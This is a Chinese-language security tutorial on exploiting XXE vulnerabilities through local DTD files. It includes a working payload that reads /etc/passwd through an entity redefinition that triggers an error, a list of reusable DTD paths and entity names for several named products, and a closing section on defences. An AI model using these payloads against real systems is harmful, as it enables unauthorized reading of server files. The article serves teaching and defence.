使用本地DTD文件来利用XXE漏洞实现任意结果输出
字数 1303 2025-08-18 11:37:57
利用本地DTD文件实现XXE漏洞攻击的技术分析
1. XXE漏洞基础
XXE (XML External Entity)漏洞是一种利用XML解析器处理外部实体时的安全缺陷。当应用程序解析用户提供的XML输入时,如果没有禁用外部实体解析,攻击者可以利用此漏洞读取服务器上的任意文件、执行服务器端请求伪造(SSRF)等操作。
2. 传统XXE利用的限制
传统的XXE利用通常有两种方式:
- 基于错误的利用:通过构造恶意实体使服务器返回错误信息,从而泄露敏感数据
- 带外(OOB)利用:通过外部服务器接收数据
然而,这两种方法都有局限性:
- 服务器响应可能为空
- 防火墙可能阻止与外部服务器的通信
3. 本地DTD文件利用技术
3.1 技术原理
当目标服务器存在本地DTD文件时,我们可以利用这些文件中的实体定义,通过重新定义参数实体来绕过内部DTD的限制。
关键点:
- XML实体具有"先定义优先"的特性
- 本地DTD文件中定义的实体可以被重新定义
- 通过精心构造的重定义,可以绕过内部DTD的限制
3.2 攻击步骤
- 识别存在的本地DTD文件:通过枚举常见路径寻找存在的DTD文件
- 分析DTD文件内容:了解文件中定义的实体结构
- 构造恶意实体重定义:选择可被重定义的实体,插入恶意payload
- 触发错误泄露数据:通过文件读取和错误触发机制获取数据
3.3 示例攻击代码
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>
3.4 技术解析
- 加载本地DTD文件(
sip-app_1_0.dtd) - 重定义
condition实体,插入恶意payload - 恶意payload包含:
- 文件读取实体(
file) - 构造错误实体(
eval和error)
- 文件读取实体(
- 通过引用
local_dtd触发整个流程
4. 常见系统的本地DTD文件路径
4.1 Linux系统
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
4.2 Windows系统
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
4.3 Cisco WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
4.4 Citrix XenMobile Server
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
4.5 IBM WebSphere应用
<!ENTITY % local_dtd SYSTEM "properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
5. 防御措施
-
禁用外部实体处理:
- 在XML解析器中禁用DTD处理或外部实体解析
- 例如在Java中:
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
-
输入验证:
- 对用户提供的XML数据进行严格验证
- 使用白名单机制限制允许的XML结构
-
最小权限原则:
- 运行XML解析器的服务使用最小必要权限
- 限制对敏感文件和目录的访问
-
移除不必要的DTD文件:
- 从系统中删除不使用的DTD文件
- 限制对已知DTD文件路径的访问
-
使用更安全的替代方案:
- 考虑使用JSON等更简单的数据格式
- 使用不解析DTD的XML解析器
6. 总结
利用本地DTD文件的XXE攻击技术提供了一种在受限环境下(如防火墙阻止外部连接)仍能利用XXE漏洞的方法。通过识别目标系统上的本地DTD文件并精心构造实体重定义,攻击者可以绕过传统防御措施。防御此类攻击需要多层次的防护策略,包括禁用不必要的XML特性、严格的输入验证和系统加固。